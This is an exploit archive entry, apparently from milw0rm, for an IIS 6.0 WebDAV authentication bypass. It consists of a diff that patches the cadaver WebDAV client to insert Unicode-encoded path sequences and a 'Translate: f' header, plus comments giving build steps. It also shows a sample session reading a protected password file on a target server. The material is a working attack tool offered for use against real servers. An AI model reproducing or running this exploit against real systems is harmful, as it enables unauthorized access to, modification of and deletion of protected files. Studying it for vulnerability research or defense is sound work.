Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (patch)

# Blog with a detailed description:
# http://www.skullsecurity.org/blog/?p=285
#
# And the patch itself:
# http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
#
# > mkdir cadaver-h4x
# > cd cadaver-h4x
# > wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
# --snip--
# > wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz
# --snip--
# > tar xzvf cadaver-0.23.2.tar.gz
# --snip--
# > cd cadaver-0.23.2/
# > patch -p1 < ../cadaver-0.23.2-h4x.patch # patching file lib/neon/ne_basic.c # patching file lib/neon/ne_request.c # patching file lib/neon/ne_uri.c # > ./configure
# --snip--
# > make
# --snip--
#
# Now we should have a patched, compiled version of cadaver, so start it
# up with the server that was identified as having a vulnerable folder
# earlier:
#
# > ./cadaver xxx.xxx.xxx.xxx
#
# This should drop you to a “dav:/>” prompt. Now just cd into the
# vulnerable folder and check out what’s there:
#
# dav:/> cd secret
# dav:/secret/> ls
# Listing collection `/secret/': succeeded.
# password.txt 7 May 19 10:40
# dav:/secret/> cat password.txt
# Displaying `/secret/password.txt':
# ron$pr0ns
# dav:/secret/>
#
# Here’s a list of commands that I’ve tested that work with the patched
# cadaver on a vulnerable folder:
# * CD
# * LS
# * MOVE
# * PUT
# * GET
# * CAT
# * DELETE

diff -rub cadaver-0.23.2/lib/neon/ne_basic.c cadaver-0.23.2-h4x/lib/neon/ne_basic.c
--- cadaver-0.23.2/lib/neon/ne_basic.c 2008-02-07 16:22:07.000000000 -0600
+++ cadaver-0.23.2-h4x/lib/neon/ne_basic.c 2009-05-20 16:13:46.000000000 -0500
@@ -402,7 +402,7 @@
value = "infinity";
break;
}
- ne_add_request_header(req, "Depth", value);
+ ne_add_request_header(req, "Depth", "1");
}

static int copy_or_move(ne_session *sess, int is_move, int overwrite,
diff -rub cadaver-0.23.2/lib/neon/ne_request.c cadaver-0.23.2-h4x/lib/neon/ne_request.c
--- cadaver-0.23.2/lib/neon/ne_request.c 2008-01-30 05:35:52.000000000 -0600
+++ cadaver-0.23.2-h4x/lib/neon/ne_request.c 2009-05-20 16:35:46.000000000 -0500
@@ -405,6 +405,7 @@
"Connection: TE" EOL
"TE: trailers" EOL);
}
+ ne_buffer_czappend(req->headers, "Translate: f" EOL);
}

int ne_accept_always(void *userdata, ne_request *req, const ne_status *st)
@@ -420,6 +421,7 @@
ne_request *ne_request_create(ne_session *sess,
const char *method, const char *path)
{
+ char *path2 = ne_calloc(strlen(path)+7);
ne_request *req = ne_calloc(sizeof *req);

req->session = sess;
@@ -435,13 +437,18 @@
req->method = ne_strdup(method);
req->method_is_head = (strcmp(method, "HEAD") == 0);

+ if(strlen(path)>2)
+ sprintf(path2, "%c%c%%c0%%af%s", path[0], path[1], path+2);
+ else
+ path2 = path;
+
/* Only use an absoluteURI here when absolutely necessary: some
* servers can't parse them. */
- if (req->session->use_proxy && !req->session->use_ssl && path[0] == '/')
+ if (req->session->use_proxy && !req->session->use_ssl && path2[0] == '/')
req->uri = ne_concat(req->session->scheme, "://",
- req->session->server.hostport, path, NULL);
+ req->session->server.hostport, path2, NULL);
else
- req->uri = ne_strdup(path);
+ req->uri = ne_strdup(path2);

{
struct hook *hk;
diff -rub cadaver-0.23.2/lib/neon/ne_uri.c cadaver-0.23.2-h4x/lib/neon/ne_uri.c
--- cadaver-0.23.2/lib/neon/ne_uri.c 2007-12-05 05:04:47.000000000 -0600
+++ cadaver-0.23.2-h4x/lib/neon/ne_uri.c 2009-05-20 16:13:46.000000000 -0500
@@ -96,7 +96,7 @@
/* 0xXX x0 x2 x4 x6 x8 xA xC xE */
/* 0x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT,
/* 1x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT,
-/* 2x */ OT, SD, OT, GD, SD, PC, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS,
+/* 2x */ OT, SD, OT, GD, SD, AL, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS,
/* 3x */ DG, DG, DG, DG, DG, DG, DG, DG, DG, DG, CL, SD, OT, SD, OT, QU,
/* 4x */ AT, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL,
/* 5x */ AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, GD, OT, GD, OT, US,

# milw0rm.com [2009-05-21]